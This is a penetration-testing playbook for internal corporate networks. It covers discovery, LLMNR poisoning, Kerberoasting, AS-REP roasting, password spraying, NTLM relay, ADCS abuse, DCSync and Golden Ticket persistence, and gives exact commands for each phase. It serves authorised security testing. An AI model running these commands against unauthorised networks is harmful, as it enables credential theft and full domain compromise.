Playbook: Internal Network Penetration Test
Scope: Internal corporate network; assume foothold as domain user (or unauthenticated on LAN) Prerequisites: VPN or physical LAN access; scope document from client; low-priv domain account (ideal) MITRE Coverage: T1046, T1110, T1558.003, T1550.002, T1021, T1078
Objective
Identify exploitable vulnerabilities on the internal network, escalate privileges, and demonstrate impact (domain admin, sensitive data access, lateral movement to key systems).
Steps
Phase 1: Network Discovery
- Identify your position:
ip a,ip route,cat /etc/resolv.conf. - ARP scan local subnet:
arp-scan -lornetdiscover -r 10.10.10.0/24. - Find DC(s):
nslookup -type=SRV _ldap._tcp.dc._msdcs.domain.local. - Port scan all live hosts (top ports first for speed, then
-p-on interesting ones):nmap -T4 --top-ports 1000 -oA nmap_top1000 10.10.10.0/24 nmap -p- -sV -sC -T4 -oA nmap_full 10.10.10.1 # DC specifically - Identify running services: SMB, HTTP/S, RDP, SSH, WinRM, LDAP, MSSQL, etc.
Phase 2: Low-Hanging Fruit
- Anonymous/null SMB:
smbclient -L //dc01 -N,smbmap -H dc01. - Default credentials: Common services (SNMP
public, web apps, Tomcattomcat:tomcat). - LLMNR/NBT-NS poisoning: Run
sudo responder -I eth0 -vin background for 15–30 min. - SMB signing check:
nxc smb 10.10.10.0/24 --gen-relay-list relay-targets.txt. - AS-REP Roasting (no creds needed):
GetNPUsers.py domain.local/ -usersfile users.txt -no-pass.
Phase 3: Authenticated Enumeration (with domain account)
- BloodHound collection:
bloodhound-python -u user -p pass -d domain.local -dc dc01.domain.local -c All - Kerberoasting:
GetUserSPNs.py domain.local/user:pass -dc-ip dc01 -request -outputfile krb.txt hashcat -m 13100 krb.txt /usr/share/wordlists/rockyou.txt - Enumerate users, groups, GPOs, shares:
nxc smb dc01 -u user -p pass --users nxc smb 10.10.10.0/24 -u user -p pass --shares ldapdomaindump -u 'domain\user' -p pass dc01 - Enumerate local admins on all hosts:
nxc smb 10.10.10.0/24 -u user -p pass --local-groups Administrators
Phase 4: Credential Attacks
- Password spraying (careful with lockout threshold):
nxc smb dc01 -u users.txt -p 'Password123!' --continue-on-success nxc smb dc01 -u users.txt -p 'Summer2024!' - Crack any captured hashes (Responder, Kerberoast, AS-REP).
- NTLM relay if signing disabled:
ntlmrelayx.py -tf relay-targets.txt -smb2support -i
Phase 5: Privilege Escalation
- Review BloodHound for attack paths from owned accounts to DA.
- Exploit ACL misconfigurations (GenericAll, WriteDACL, ForceChangePassword).
- Check for vulnerable services, token abuse on compromised hosts.
- ADCS attacks if Certificate Services is present:
certipy find -u user@domain.local -p pass -dc-ip dc01 certipy req -u user@domain.local -p pass -ca ca-server -template VulnerableTemplate
Phase 6: Domain Compromise
- DCSync (if DA or DCSync rights):
secretsdump.py domain/da_user:pass@dc01.domain.local - Dump KRBTGT hash → create Golden Ticket (persistence / full domain control).
- Access critical systems: file servers, databases, email.
- Demonstrate impact: read sensitive data, show access to crown jewels.
Cleanup / Deconfliction
- Remove any uploaded payloads or persistence mechanisms.
- Clear Responder logs (contain sensitive hashes).
- Notify client POC of any high-risk findings immediately (e.g., clear-text credentials discovered).
- Keep timestamped activity log throughout for report.
Notes & Gotchas
- Check domain password lockout policy before spraying:
nxc smb dc01 -u user -p pass --pass-pol. - SMB relay fails if target has SMB signing enabled — always check first.
- BloodHound collection with
-c Allis noisy; use-c DCOnlyif stealth matters. - ADCS is present in ~90% of enterprise environments and often misconfigured.
